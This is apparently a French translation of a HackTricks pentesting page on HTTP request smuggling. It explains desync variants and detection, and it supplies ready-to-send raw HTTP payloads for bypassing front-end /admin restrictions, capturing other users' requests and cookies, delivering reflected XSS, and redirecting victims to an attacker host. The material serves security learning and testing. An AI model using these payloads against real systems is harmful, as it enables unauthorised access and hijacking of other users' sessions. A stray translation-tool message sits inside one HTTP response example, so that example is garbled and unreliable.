HTTP Request Smuggling / HTTP Desync Attack

Reading time: 33 minutes

tip

Apprenez et pratiquez le hacking AWS :HackTricks Training AWS Red Team Expert (ARTE)
Apprenez et pratiquez le hacking GCP : HackTricks Training GCP Red Team Expert (GRTE) Apprenez et pratiquez le hacking Azure : HackTricks Training Azure Red Team Expert (AzRTE)

Soutenir HackTricks

Qu'est-ce que c'est

Cette vulnĂ©rabilitĂ© survient lorsqu'une dĂ©synchronisation entre les front-end proxies et le serveur back-end permet Ă  un attaquant d'envoyer une requĂȘte HTTP qui sera interprĂ©tĂ©e comme une requĂȘte unique par les front-end proxies (load balance/reverse-proxy) et comme 2 requĂȘtes par le serveur back-end.
Cela permet Ă  un utilisateur de modifier la requĂȘte suivante qui arrive au serveur back-end aprĂšs la sienne.

Théorie

RFC Specification (2161)

Si un message est reçu avec Ă  la fois un champ d'en-tĂȘte Transfer-Encoding et un champ d'en-tĂȘte Content-Length, ce dernier DOIT ĂȘtre ignorĂ©.

Content-Length

L'en-tĂȘte d'entitĂ© Content-Length indique la taille de l'entity-body, en octets, envoyĂ© au destinataire.

Transfer-Encoding: chunked

L'en-tĂȘte Transfer-Encoding spĂ©cifie la forme d'encodage utilisĂ©e pour transfĂ©rer en toute sĂ©curitĂ© le corps de la charge utile Ă  l'utilisateur.
Chunked signifie que de grosses données sont envoyées en une série de chunks.

Réalité

Les Front-End (un load-balancer / Reverse Proxy) traitent l'en-tĂȘte Content-Length ou l'en-tĂȘte Transfer-Encoding et le serveur Back-End traite l'autre, provoquant une dĂ©synchronisation entre les 2 systĂšmes.
Cela peut ĂȘtre trĂšs critique car un attaquant pourra envoyer une seule requĂȘte au reverse proxy qui sera interprĂ©tĂ©e par le serveur back-end comme 2 requĂȘtes diffĂ©rentes. Le danger de cette technique rĂ©side dans le fait que le serveur back-end interprĂ©tera la 2Ăšme requĂȘte injectĂ©e comme si elle provenait du client suivant et la vraie requĂȘte de ce client fera partie de la requĂȘte injectĂ©e.

Particularités

Rappelez-vous qu'en HTTP un caractÚre de nouvelle ligne est composé de 2 octets :

  • Content-Length : Cet en-tĂȘte utilise un nombre dĂ©cimal pour indiquer le nombre d'octets du corps de la requĂȘte. Le corps est censĂ© se terminer au dernier caractĂšre, une nouvelle ligne n'est pas nĂ©cessaire Ă  la fin de la requĂȘte.
  • Transfer-Encoding : Cet en-tĂȘte utilise dans le corps un nombre hexadĂ©cimal pour indiquer le nombre d'octets du chunk suivant. Le chunk doit se terminer par une nouvelle ligne mais cette nouvelle ligne n'est pas comptĂ©e par l'indicateur de longueur. Cette mĂ©thode de transfert doit se terminer par un chunk de taille 0 suivi de 2 nouvelles lignes : 0
  • Connection : D'aprĂšs mon expĂ©rience il est recommandĂ© d'utiliser Connection: keep-alive sur la premiĂšre requĂȘte du Request Smuggling.

Exemples de base

tip

Lorsque vous essayez d'exploiter ceci avec Burp Suite désactivez Update Content-Length et Normalize HTTP/1 line endings dans le repeater car certains gadgets abusent des newlines, des carriage returns et des content-lengths malformés.

Les attaques de HTTP request smuggling sont construites en envoyant des requĂȘtes ambiguĂ«s qui exploitent des divergences dans la maniĂšre dont les front-end et back-end interprĂštent les en-tĂȘtes Content-Length (CL) et Transfer-Encoding (TE). Ces attaques peuvent se manifester sous diffĂ©rentes formes, principalement en CL.TE, TE.CL, et TE.TE. Chaque type reprĂ©sente une combinaison unique de la façon dont le front-end et le back-end priorisent ces en-tĂȘtes. Les vulnĂ©rabilitĂ©s proviennent du fait que les serveurs traitent la mĂȘme requĂȘte diffĂ©remment, entraĂźnant des rĂ©sultats inattendus et potentiellement malveillants.

Exemples de base des types de vulnérabilités

https://twitter.com/SpiderSec/status/1200413390339887104?ref_src=twsrc%5Etfw%7Ctwcamp%5Etweetembed%7Ctwterm%5E1200413390339887104&ref_url=https%3A%2F%2Ftwitter.com%2FSpiderSec%2Fstatus%2F1200413390339887104

tip

À la table prĂ©cĂ©dente vous devriez ajouter la technique TE.0, similaire Ă  la technique CL.0 mais en utilisant Transfer-Encoding.

CL.TE Vulnerability (Content-Length used by Front-End, Transfer-Encoding used by Back-End)

  • Front-End (CL): Traite la requĂȘte en se basant sur l'en-tĂȘte Content-Length.

  • Back-End (TE): Traite la requĂȘte en se basant sur l'en-tĂȘte Transfer-Encoding.

  • ScĂ©nario d'attaque :

  • L'attaquant envoie une requĂȘte oĂč la valeur de l'en-tĂȘte Content-Length ne correspond pas Ă  la longueur rĂ©elle du contenu.

  • Le front-end transfĂšre l'ensemble de la requĂȘte au back-end, en se basant sur la valeur de Content-Length.

  • Le back-end traite la requĂȘte comme chunked Ă  cause de l'en-tĂȘte Transfer-Encoding: chunked, interprĂ©tant les donnĂ©es restantes comme une requĂȘte distincte et suivante.

  • Exemple :

POST / HTTP/1.1
Host: vulnerable-website.com
Content-Length: 30
Connection: keep-alive
Transfer-Encoding: chunked

0

GET /404 HTTP/1.1
Foo: x

TE.CL Vulnerability (Transfer-Encoding used by Front-End, Content-Length used by Back-End)

  • Front-End (TE): Traite la requĂȘte en se basant sur l'en-tĂȘte Transfer-Encoding.

  • Back-End (CL): Traite la requĂȘte en se basant sur l'en-tĂȘte Content-Length.

  • ScĂ©nario d'attaque :

  • L'attaquant envoie une requĂȘte chunked oĂč la taille du chunk (7b) et la longueur rĂ©elle du contenu (Content-Length: 4) ne correspondent pas.

  • Le front-end, respectant Transfer-Encoding, transfĂšre l'ensemble de la requĂȘte au back-end.

  • Le back-end, respectant Content-Length, traite seulement la premiĂšre partie de la requĂȘte (7b octets), laissant le reste comme partie d'une requĂȘte suivante non intentionnelle.

  • Exemple :

POST / HTTP/1.1
Host: vulnerable-website.com
Content-Length: 4
Connection: keep-alive
Transfer-Encoding: chunked

7b
GET /404 HTTP/1.1
Host: vulnerable-website.com
Content-Type: application/x-www-form-urlencoded
Content-Length: 30

x=
0

TE.TE Vulnerability (Transfer-Encoding used by both, with obfuscation)

  • Serveurs : Les deux supportent Transfer-Encoding, mais l'un peut ĂȘtre trompĂ© en ignorant via obfuscation.

  • ScĂ©nario d'attaque :

  • L'attaquant envoie une requĂȘte avec des en-tĂȘtes Transfer-Encoding obfusquĂ©s.

  • Selon le serveur (front-end ou back-end) qui ne reconnaĂźt pas l'obfuscation, une vulnĂ©rabilitĂ© CL.TE ou TE.CL peut ĂȘtre exploitĂ©e.

  • La partie non traitĂ©e de la requĂȘte, telle que vue par l'un des serveurs, devient partie d'une requĂȘte suivante, conduisant au smuggling.

  • Exemple :

POST / HTTP/1.1
Host: vulnerable-website.com
Transfer-Encoding: xchunked
Transfer-Encoding : chunked
Transfer-Encoding: chunked
Transfer-Encoding: x
Transfer-Encoding: chunked
Transfer-Encoding: x
Transfer-Encoding:[tab]chunked
[space]Transfer-Encoding: chunked
X: X[\n]Transfer-Encoding: chunked

Transfer-Encoding
: chunked

CL.CL Scenario (Content-Length used by both Front-End and Back-End)

  • Les deux serveurs traitent la requĂȘte uniquement en se basant sur l'en-tĂȘte Content-Length.
  • Ce scĂ©nario ne conduit gĂ©nĂ©ralement pas au smuggling, car il y a alignement dans la maniĂšre dont les deux serveurs interprĂštent la longueur de la requĂȘte.
  • Exemple :
POST / HTTP/1.1
Host: vulnerable-website.com
Content-Length: 16
Connection: keep-alive

Normal Request

CL.0 Scenario

  • Se rĂ©fĂšre aux scĂ©narios oĂč l'en-tĂȘte Content-Length est prĂ©sent et a une valeur autre que zĂ©ro, indiquant que le corps de la requĂȘte contient du contenu. Le back-end ignore l'en-tĂȘte Content-Length (qui est traitĂ© comme 0), mais le front-end le parse.
  • C'est crucial pour comprendre et crĂ©er des attaques de smuggling, car cela influence la façon dont les serveurs dĂ©terminent la fin d'une requĂȘte.
  • Exemple :
POST / HTTP/1.1
Host: vulnerable-website.com
Content-Length: 16
Connection: keep-alive

Non-Empty Body

TE.0 Scenario

  • Comme le prĂ©cĂ©dent mais en utilisant TE.
  • Technique reported here
  • Example:
OPTIONS / HTTP/1.1
Host: {HOST}
Accept-Encoding: gzip, deflate, br
Accept: */*
Accept-Language: en-US;q=0.9,en;q=0.8
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/123.0.6312.122 Safari/537.36
Transfer-Encoding: chunked
Connection: keep-alive

50
GET <http://our-collaborator-server/> HTTP/1.1
x: X
0
EMPTY_LINE_HERE
EMPTY_LINE_HERE

Faire planter le serveur web

Cette technique est aussi utile dans des scĂ©narios oĂč il est possible de faire planter un serveur web pendant la lecture des donnĂ©es HTTP initiales mais sans fermer la connexion. Ainsi, le corps de la requĂȘte HTTP sera considĂ©rĂ© comme la requĂȘte HTTP suivante.

Par exemple, comme expliquĂ© dans cet article, dans Werkzeug il Ă©tait possible d'envoyer certains caractĂšres Unicode et cela faisait planter le serveur. Cependant, si la connexion HTTP Ă©tait Ă©tablie avec l'en-tĂȘte Connection: keep-alive, le corps de la requĂȘte ne sera pas lu et la connexion restera ouverte, donc le corps de la requĂȘte sera traitĂ© comme la requĂȘte HTTP suivante.

Forçage via les en-tĂȘtes hop-by-hop

En abusant des en-tĂȘtes hop-by-hop vous pouvez indiquer au proxy de supprimer l'en-tĂȘte Content-Length ou Transfer-Encoding pour permettre un HTTP request smuggling exploitable.

Connection: Content-Length

Pour more information about hop-by-hop headers consultez :

hop-by-hop headers

Détection de HTTP Request Smuggling

Identifier des vulnĂ©rabilitĂ©s de HTTP request smuggling peut souvent se faire en utilisant des techniques de timing, qui reposent sur l'observation du temps que met le serveur Ă  rĂ©pondre Ă  des requĂȘtes manipulĂ©es. Ces techniques sont particuliĂšrement utiles pour dĂ©tecter les vulnĂ©rabilitĂ©s CL.TE et TE.CL. En dehors de ces mĂ©thodes, il existe d'autres stratĂ©gies et outils pour trouver de telles vulnĂ©rabilitĂ©s :

Détection des vulnérabilités CL.TE avec des techniques de timing

  • MĂ©thode :

  • Envoyer une requĂȘte qui, si l'application est vulnĂ©rable, fera que le back-end attendra des donnĂ©es supplĂ©mentaires.

  • Exemple :

POST / HTTP/1.1
Host: vulnerable-website.com
Transfer-Encoding: chunked
Connection: keep-alive
Content-Length: 4

1
A
0
  • Observation :

  • Le front-end traite la requĂȘte en se basant sur Content-Length et coupe le message prĂ©maturĂ©ment.

  • Le back-end, s'attendant Ă  un message chunked, attend le chunk suivant qui n'arrive jamais, provoquant un dĂ©lai.

  • Indicateurs :

  • Timeouts ou longs dĂ©lais de rĂ©ponse.

  • RĂ©ception d'une erreur 400 Bad Request provenant du back-end, parfois accompagnĂ©e d'informations dĂ©taillĂ©es sur le serveur.

Détection des vulnérabilités TE.CL avec des techniques de timing

  • MĂ©thode :

  • Envoyer une requĂȘte qui, si l'application est vulnĂ©rable, fera que le back-end attendra des donnĂ©es supplĂ©mentaires.

  • Exemple :

POST / HTTP/1.1
Host: vulnerable-website.com
Transfer-Encoding: chunked
Connection: keep-alive
Content-Length: 6

0
X
  • Observation :
  • Le front-end traite la requĂȘte en se basant sur Transfer-Encoding et transmet l'intĂ©gralitĂ© du message.
  • Le back-end, s'attendant Ă  un message basĂ© sur Content-Length, attend des donnĂ©es supplĂ©mentaires qui n'arrivent jamais, provoquant un dĂ©lai.

Autres méthodes pour trouver des vulnérabilités

  • Analyse diffĂ©rentielle des rĂ©ponses :
  • Envoyer des versions lĂ©gĂšrement diffĂ©rentes d'une requĂȘte et observer si les rĂ©ponses du serveur diffĂšrent de maniĂšre inattendue, ce qui indiquerait une divergence d'analyse.
  • Utilisation d'outils automatisĂ©s :
  • Des outils comme l'extension 'HTTP Request Smuggler' de Burp Suite peuvent tester automatiquement ces vulnĂ©rabilitĂ©s en envoyant diverses formes de requĂȘtes ambigĂŒes et en analysant les rĂ©ponses.
  • Tests de variance de Content-Length :
  • Envoyer des requĂȘtes avec des valeurs Content-Length variables et non alignĂ©es avec la longueur rĂ©elle du contenu et observer comment le serveur gĂšre ces discordances.
  • Tests de variance de Transfer-Encoding :
  • Envoyer des requĂȘtes avec des en-tĂȘtes Transfer-Encoding obfusquĂ©s ou malformĂ©s et surveiller comment le front-end et le back-end rĂ©pondent diffĂ©remment Ă  ces manipulations.

Tests de vulnérabilité HTTP Request Smuggling

AprĂšs avoir confirmĂ© l'efficacitĂ© des techniques de timing, il est crucial de vĂ©rifier si les requĂȘtes client peuvent ĂȘtre manipulĂ©es. Une mĂ©thode simple consiste Ă  tenter de poisonner vos requĂȘtes, par exemple faire en sorte qu'une requĂȘte vers / renvoie un 404. Les exemples CL.TE et TE.CL discutĂ©s prĂ©cĂ©demment dans Basic Examples montrent comment poisonner la requĂȘte d'un client pour provoquer un 404, malgrĂ© le fait que le client cherchait Ă  accĂ©der Ă  une ressource diffĂ©rente.

Considérations clés

Lorsque vous testez des vulnĂ©rabilitĂ©s de request smuggling en interfĂ©rant avec d'autres requĂȘtes, gardez Ă  l'esprit :

  • Connexions rĂ©seau distinctes : Les requĂȘtes "attaque" et "normale" doivent ĂȘtre envoyĂ©es sur des connexions rĂ©seau sĂ©parĂ©es. Utiliser la mĂȘme connexion pour les deux ne valide pas la prĂ©sence de la vulnĂ©rabilitĂ©.
  • URL et paramĂštres identiques : Essayez d'utiliser des URLs et des noms de paramĂštres identiques pour les deux requĂȘtes. Les applications modernes routent souvent les requĂȘtes vers des back-ends spĂ©cifiques selon l'URL et les paramĂštres. Les faire correspondre augmente la probabilitĂ© que les deux requĂȘtes soient traitĂ©es par le mĂȘme serveur, condition nĂ©cessaire pour une attaque rĂ©ussie.
  • Timing et conditions de course : La requĂȘte "normale", destinĂ©e Ă  dĂ©tecter l'interfĂ©rence de la requĂȘte "attaque", est en compĂ©tition avec d'autres requĂȘtes concurrentes de l'application. Envoyez donc la requĂȘte "normale" immĂ©diatement aprĂšs la requĂȘte "attaque". Les applications trĂšs chargĂ©es peuvent nĂ©cessiter plusieurs essais pour obtenir une confirmation concluante.
  • ProblĂšmes de load balancing : Les front-ends faisant office de load balancer peuvent rĂ©partir les requĂȘtes sur diffĂ©rents back-ends. Si la requĂȘte "attaque" et la requĂȘte "normale" sont envoyĂ©es sur des systĂšmes diffĂ©rents, l'attaque Ă©chouera. Cet aspect de load balancing peut nĂ©cessiter plusieurs tentatives pour confirmer une vulnĂ©rabilitĂ©.
  • Impact involontaire sur des utilisateurs : Si votre attaque affecte involontairement la requĂȘte d'un autre utilisateur (et non la requĂȘte "normale" que vous avez envoyĂ©e pour la dĂ©tection), cela indique que votre attaque a influencĂ© un autre utilisateur de l'application. Des tests rĂ©pĂ©tĂ©s pourraient perturber d'autres utilisateurs, ce qui impose d'adopter une approche prudente.

Distinguer les artefacts de pipelining HTTP/1.1 des véritables request smuggling

La rĂ©utilisation de la connexion (keep-alive) et le pipelining peuvent facilement produire des illusions de "smuggling" dans les outils de test qui envoient plusieurs requĂȘtes sur la mĂȘme socket. Apprenez Ă  sĂ©parer les artefacts inoffensifs cĂŽtĂ© client des vĂ©ritables desynchronisations cĂŽtĂ© serveur.

Pourquoi le pipelining crée des faux positifs classiques

HTTP/1.1 rĂ©utilise une seule connexion TCP/TLS et concatĂšne requĂȘtes et rĂ©ponses sur le mĂȘme flux. En pipelining, le client envoie plusieurs requĂȘtes Ă  la suite et attend des rĂ©ponses dans l'ordre. Un faux positif courant consiste Ă  renvoyer deux fois un payload malformĂ© de type CL.0 sur une seule connexion :

POST / HTTP/1.1
Host: hackxor.net
Content_Length: 47

GET /robots.txt HTTP/1.1
X: Y

Je n’ai reçu aucun contenu à traduire. Veuillez coller le contenu du fichier src/pentesting-web/http-request-smuggling/README.md que vous voulez que je traduise en français.

HTTP/1.1 200 OK
Content-Type: text/html

HTTP/1.1 200 OK
Content-Type: text/plain

User-agent: *
Disallow: /settings

Si le serveur a ignorĂ© le Content_Length malformĂ©, il n'y a pas de dĂ©synchronisation FE↔BE. En cas de rĂ©utilisation, votre client a rĂ©ellement envoyĂ© ce flux d'octets, que le serveur a analysĂ© comme deux requĂȘtes indĂ©pendantes :

POST / HTTP/1.1
Host: hackxor.net
Content_Length: 47

GET /robots.txt HTTP/1.1
X: YPOST / HTTP/1.1
Host: hackxor.net
Content_Length: 47

GET /robots.txt HTTP/1.1
X: Y

Impact : aucun. Vous venez juste de désynchroniser votre client par rapport au cadrage du serveur.

tip

Les modules Burp qui dépendent de la réutilisation/pipelining : Turbo Intruder with requestsPerConnection>1, Intruder with "HTTP/1 connection reuse", Repeater "Send group in sequence (single connection)" or "Enable connection reuse".

Litmus tests: pipelining or real desync?

  1. Désactivez la réutilisation et retestez
  • Dans Burp Intruder/Repeater, dĂ©sactivez HTTP/1 reuse et Ă©vitez "Send group in sequence".
  • Dans Turbo Intruder, dĂ©finissez requestsPerConnection=1 et pipeline=False.
  • Si le comportement disparaĂźt, il s'agissait probablement de pipelining cĂŽtĂ© client, Ă  moins que vous ne soyez face Ă  des cibles connection-locked/stateful ou Ă  une dĂ©synchronisation cĂŽtĂ© client.
  1. Vérification HTTP/2 de réponse imbriquée
  • Envoyez une requĂȘte HTTP/2. Si le corps de la rĂ©ponse contient une rĂ©ponse HTTP/1 complĂšte imbriquĂ©e, vous avez prouvĂ© un bug de parsing/dĂ©synchronisation cĂŽtĂ© backend plutĂŽt qu'un simple artefact cĂŽtĂ© client.
  1. Sonde partial-requests pour front-ends connection-locked
  • Certains FEs ne rĂ©utilisent la connexion BE en amont que si le client a rĂ©utilisĂ© la sienne. Utilisez partial-requests pour dĂ©tecter un comportement du FE qui reflĂšte la rĂ©utilisation client.
  • Voir PortSwigger "Browser‑Powered Desync Attacks" pour la technique connection-locked.
  1. Probes d'état
  • Cherchez les diffĂ©rences entre la premiĂšre requĂȘte et les requĂȘtes suivantes sur la mĂȘme connexion TCP (first-request routing/validation).
  • Burp "HTTP Request Smuggler" inclut une sonde connection‑state qui automatise cela.
  1. Visualisez le wire
  • Utilisez l'extension Burp "HTTP Hacker" pour inspecter la concatĂ©nation et le cadrage des messages directement pendant que vous expĂ©rimentez la rĂ©utilisation et les partial requests.

Connection‑locked request smuggling (reuse-required)

Certains front-ends ne réutilisent la connexion en amont que lorsque le client réutilise la sienne. Le real smuggling existe mais est conditionnel à la réutilisation cÎté client. Pour distinguer et prouver l'impact :

  • Prouvez le bug cĂŽtĂ© serveur
  • Utilisez la vĂ©rification HTTP/2 de rĂ©ponse imbriquĂ©e, ou
  • Utilisez partial-requests pour montrer que le FE ne rĂ©utilise la connexion en amont que lorsque le client le fait.
  • Montrez un impact rĂ©el mĂȘme si l'abus direct de sockets cross-user est bloquĂ© :
  • Cache poisoning : poisonnez les caches partagĂ©s via la desync pour que les rĂ©ponses affectent d'autres utilisateurs.
  • Internal header disclosure : reflĂ©tez des en-tĂȘtes injectĂ©s par le FE (p. ex. auth/trust headers) et pivotez vers un contournement d'auth.
  • Bypass FE controls : smuggle restricted paths/methods past the front-end.
  • Host-header abuse : combinez avec des particularitĂ©s de routage host pour pivoter vers des vhosts internes.
  • Operator workflow
  • Reproduisez avec rĂ©utilisation contrĂŽlĂ©e (Turbo Intruder requestsPerConnection=2, or Burp Repeater tab group → "Send group in sequence (single connection)").
  • Ensuite, enchaĂźnez vers des primitives de cache/header-leak/control-bypass et dĂ©montrez un impact cross-user ou d'autorisation.

See also connection‑state attacks, which are closely related but not technically smuggling:

{{#ref}} ../http-connection-request-smuggling.md {{#endref}}

Client‑side desync constraints

Si vous ciblez browser-powered/client-side desync, la requĂȘte malveillante doit pouvoir ĂȘtre envoyĂ©e par un navigateur cross-origin. Les tricks d'obfuscation d'en-tĂȘtes ne fonctionneront pas. Concentrez-vous sur des primitives atteignables via navigation/fetch, puis pivotez vers cache poisoning, header disclosure, ou front-end control bypass lorsque des composants en aval reflĂštent ou mettent en cache des rĂ©ponses.

Pour le contexte et les workflows de bout en bout :

Browser HTTP Request Smuggling

Tooling to help decide

  • HTTP Hacker (Burp BApp Store) : expose le comportement HTTP bas‑niveau et la concatĂ©nation de sockets.
  • "Smuggling or pipelining?" Burp Repeater Custom Action: https://github.com/PortSwigger/bambdas/blob/main/CustomAction/SmugglingOrPipelining.bambda
  • Turbo Intruder : contrĂŽle prĂ©cis de la rĂ©utilisation des connexions via requestsPerConnection.
  • Burp HTTP Request Smuggler : inclut une sonde connection‑state pour repĂ©rer le first‑request routing/validation.

note

Considérez les effets liés uniquement à la réutilisation comme non significatifs à moins que vous puissiez prouver un desync cÎté serveur et fournir un impact concret (poisoned cache artifact, leaked internal header enabling privilege bypass, bypassed FE control, etc.).

Abus de HTTP Request Smuggling

Contourner la sécurité front-end via HTTP Request Smuggling

Parfois, les proxies front-end appliquent des mesures de sĂ©curitĂ© et scrutent les requĂȘtes entrantes. Cependant, ces mesures peuvent ĂȘtre contournĂ©es en exploitant HTTP Request Smuggling, permettant un accĂšs non autorisĂ© Ă  des endpoints restreints. Par exemple, l'accĂšs Ă  /admin peut ĂȘtre interdit depuis l'extĂ©rieur, le proxy front-end bloquant activement ces tentatives. NĂ©anmoins, ce proxy peut omettre d'inspecter des requĂȘtes imbriquĂ©es Ă  l'intĂ©rieur d'une requĂȘte HTTP smuggled, laissant une brĂšche pour contourner ces restrictions.

ConsidĂ©rez les exemples suivants illustrant comment HTTP Request Smuggling peut ĂȘtre utilisĂ© pour contourner les contrĂŽles de sĂ©curitĂ© front-end, ciblant spĂ©cifiquement le chemin /admin qui est typiquement protĂ©gĂ© par le proxy front-end :

CL.TE Example

POST / HTTP/1.1
Host: [redacted].web-security-academy.net
Cookie: session=[redacted]
Connection: keep-alive
Content-Type: application/x-www-form-urlencoded
Content-Length: 67
Transfer-Encoding: chunked

0
GET /admin HTTP/1.1
Host: localhost
Content-Length: 10

x=

Dans l'attaque CL.TE, l'en-tĂȘte Content-Length est exploitĂ© pour la requĂȘte initiale, tandis que la requĂȘte embarquĂ©e suivante utilise l'en-tĂȘte Transfer-Encoding: chunked. Le proxy front-end traite la requĂȘte POST initiale mais n'inspecte pas la requĂȘte embarquĂ©e GET /admin, ce qui permet un accĂšs non autorisĂ© au chemin /admin.

TE.CL Exemple

POST / HTTP/1.1
Host: [redacted].web-security-academy.net
Cookie: session=[redacted]
Content-Type: application/x-www-form-urlencoded
Connection: keep-alive
Content-Length: 4
Transfer-Encoding: chunked
2b
GET /admin HTTP/1.1
Host: localhost
a=x
0

Inversement, dans l'attaque TE.CL, la requĂȘte initiale POST utilise Transfer-Encoding: chunked, et la requĂȘte embarquĂ©e suivante est traitĂ©e en se basant sur l'en-tĂȘte Content-Length. Comme pour l'attaque CL.TE, le proxy frontal ignore la requĂȘte dissimulĂ©e GET /admin, accordant involontairement l'accĂšs au chemin restreint /admin.

RĂ©vĂ©ler la réécriture des requĂȘtes cĂŽtĂ© front-end

Les applications emploient souvent un serveur frontal pour modifier les requĂȘtes entrantes avant de les transmettre au serveur back-end. Une modification typique consiste Ă  ajouter des en-tĂȘtes, tels que X-Forwarded-For: <IP of the client>, pour relayer l'adresse IP du client vers le back-end. Comprendre ces modifications peut ĂȘtre crucial, car elles peuvent rĂ©vĂ©ler des moyens de contourner les protections ou de mettre au jour des informations ou des endpoints dissimulĂ©s.

Pour analyser comment un proxy modifie une requĂȘte, localisez un paramĂštre POST que le back-end renvoie dans la rĂ©ponse. Ensuite, construisez une requĂȘte en plaçant ce paramĂštre en dernier, similaire Ă  la suivante :

POST / HTTP/1.1
Host: vulnerable-website.com
Content-Length: 130
Connection: keep-alive
Transfer-Encoding: chunked

0

POST /search HTTP/1.1
Host: vulnerable-website.com
Content-Type: application/x-www-form-urlencoded
Content-Length: 100

search=

Dans cette structure, les composants de requĂȘte suivants sont ajoutĂ©s aprĂšs search=, qui est le paramĂštre renvoyĂ© dans la rĂ©ponse. Cette rĂ©flexion exposera les headers de la requĂȘte suivante.

Il est important d'aligner l'en-tĂȘte Content-Length de la requĂȘte imbriquĂ©e sur la longueur rĂ©elle du contenu. Il est conseillĂ© de commencer par une petite valeur et d'augmenter progressivement : une valeur trop faible tronquera les donnĂ©es reflĂ©tĂ©es, tandis qu'une valeur trop Ă©levĂ©e peut provoquer une erreur de requĂȘte.

Cette technique est Ă©galement applicable dans le contexte d'une vulnĂ©rabilitĂ© TE.CL, mais la requĂȘte doit se terminer par search=\r\n0. Quelle que soit la combinaison de caractĂšres de nouvelle ligne, les valeurs seront ajoutĂ©es au paramĂštre search.

Cette mĂ©thode sert principalement Ă  comprendre les modifications de requĂȘte effectuĂ©es par le proxy front-end, effectuant essentiellement une enquĂȘte auto-dirigĂ©e.

Capturer les requĂȘtes des autres utilisateurs

Il est possible de capturer les requĂȘtes de l'utilisateur suivant en ajoutant une requĂȘte spĂ©cifique comme valeur d'un paramĂštre lors d'un POST. Voici comment procĂ©der :

En ajoutant la requĂȘte suivante comme valeur d'un paramĂštre, vous pouvez stocker la requĂȘte du client suivant :

POST / HTTP/1.1
Host: ac031feb1eca352f8012bbe900fa00a1.web-security-academy.net
Content-Type: application/x-www-form-urlencoded
Content-Length: 319
Connection: keep-alive
Cookie: session=4X6SWQeR8KiOPZPF2Gpca2IKeA1v4KYi
Transfer-Encoding: chunked

0

POST /post/comment HTTP/1.1
Host: ac031feb1eca352f8012bbe900fa00a1.web-security-academy.net
Content-Length: 659
Content-Type: application/x-www-form-urlencoded
Cookie: session=4X6SWQeR8KiOPZPF2Gpca2IKeA1v4KYi

csrf=gpGAVAbj7pKq7VfFh45CAICeFCnancCM&postId=4&name=asdfghjklo&email=email%40email.com&comment=

In this scenario, the comment parameter is intended to store the contents within a post's comment section on a publicly accessible page. Consequently, the subsequent request's contents will appear as a comment.

Cependant, cette technique a des limites. En gĂ©nĂ©ral, elle capture les donnĂ©es uniquement jusqu'au dĂ©limiteur de paramĂštre utilisĂ© dans la requĂȘte smuggled. Pour les soumissions de formulaire encodĂ©es en URL, ce dĂ©limiteur est le caractĂšre &. Cela signifie que le contenu capturĂ© de la requĂȘte de l'utilisateur victime s'arrĂȘtera au premier &, qui peut mĂȘme faire partie de la query string.

De plus, il convient de noter que cette approche est Ă©galement viable avec une vulnĂ©rabilitĂ© TE.CL. Dans ce cas, la requĂȘte doit se terminer par search=\r\n0. Quel que soit le(s) caractĂšre(s) de nouvelle ligne, les valeurs seront ajoutĂ©es au paramĂštre search.

Utiliser HTTP request smuggling pour exploiter Reflected XSS

HTTP Request Smuggling can be leveraged to exploit web pages vulnerable to Reflected XSS, offering significant advantages:

  • L'interaction avec les utilisateurs ciblĂ©s n'est pas requise.
  • Permet l'exploitation de XSS dans des parties de la requĂȘte qui sont normalement inaccessibles, comme les en-tĂȘtes HTTP.

Dans les cas oĂč un site est vulnĂ©rable Ă  Reflected XSS via l'en-tĂȘte User-Agent, le payload suivant dĂ©montre comment exploiter cette vulnĂ©rabilitĂ©:

POST / HTTP/1.1
Host: ac311fa41f0aa1e880b0594d008d009e.web-security-academy.net
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:75.0) Gecko/20100101 Firefox/75.0
Cookie: session=ac311fa41f0aa1e880b0594d008d009e
Transfer-Encoding: chunked
Connection: keep-alive
Content-Length: 213
Content-Type: application/x-www-form-urlencoded

0

GET /post?postId=2 HTTP/1.1
Host: ac311fa41f0aa1e880b0594d008d009e.web-security-academy.net
User-Agent: "><script>alert(1)</script>
Content-Length: 10
Content-Type: application/x-www-form-urlencoded

A=

Ce payload est structuré pour exploiter la vulnérabilité de la maniÚre suivante :

  1. Initier une requĂȘte POST, apparemment classique, avec un en-tĂȘte Transfer-Encoding: chunked pour indiquer le dĂ©but du smuggling.
  2. Suivi d'un 0, marquant la fin du corps du message chunked.
  3. Puis, une requĂȘte GET smuggled est introduite, oĂč l'en-tĂȘte User-Agent est injectĂ© avec un script, <script>alert(1)</script>, dĂ©clenchant le XSS lorsque le serveur traite cette requĂȘte ultĂ©rieure.

En manipulant le User-Agent via le smuggling, le payload contourne les contraintes normales des requĂȘtes, exploitant ainsi la vulnĂ©rabilitĂ© Reflected XSS d'une maniĂšre non standard mais efficace.

HTTP/0.9

caution

Dans le cas oĂč le contenu utilisateur est reflĂ©tĂ© dans une rĂ©ponse avec un Content-type tel que text/plain, empĂȘchant l'exĂ©cution du XSS. Si le serveur supporte HTTP/0.9 il pourrait ĂȘtre possible de contourner cela!

La version HTTP/0.9 précédait HTTP/1.0 et n'utilisait que les verbes GET et ne répondait pas avec des headers, juste le body.

Dans this writeup, cela a Ă©tĂ© abusĂ© avec un request smuggling et un endpoint vulnĂ©rable qui rĂ©pondra avec l'entrĂ©e de l'utilisateur pour smuggler une requĂȘte en HTTP/0.9. Le paramĂštre qui Ă©tait reflĂ©tĂ© dans la rĂ©ponse contenait une fausse rĂ©ponse HTTP/1.1 (avec headers et body), si bien que la rĂ©ponse contenait du code JS exĂ©cutable valide avec un Content-Type de text/html.

Exploiting On-site Redirects with HTTP Request Smuggling

Les applications redirigent souvent d'une URL Ă  une autre en utilisant le nom d'hĂŽte du header Host dans l'URL de redirection. Ceci est courant sur des serveurs web comme Apache et IIS. Par exemple, demander un dossier sans slash final entraĂźne une redirection pour inclure le slash :

GET /home HTTP/1.1
Host: normal-website.com

Résulte en :

HTTP/1.1 301 Moved Permanently
Location: https://normal-website.com/home/

Bien que cela semble inoffensif, ce comportement peut ĂȘtre manipulĂ© en utilisant HTTP request smuggling pour rediriger les utilisateurs vers un site externe. Par exemple :

POST / HTTP/1.1
Host: vulnerable-website.com
Content-Length: 54
Connection: keep-alive
Transfer-Encoding: chunked

0

GET /home HTTP/1.1
Host: attacker-website.com
Foo: X

Cette requĂȘte dissimulĂ©e pourrait provoquer que la prochaine requĂȘte utilisateur traitĂ©e soit redirigĂ©e vers un site contrĂŽlĂ© par un attaquant :

GET /home HTTP/1.1
Host: attacker-website.com
Foo: XGET /scripts/include.js HTTP/1.1
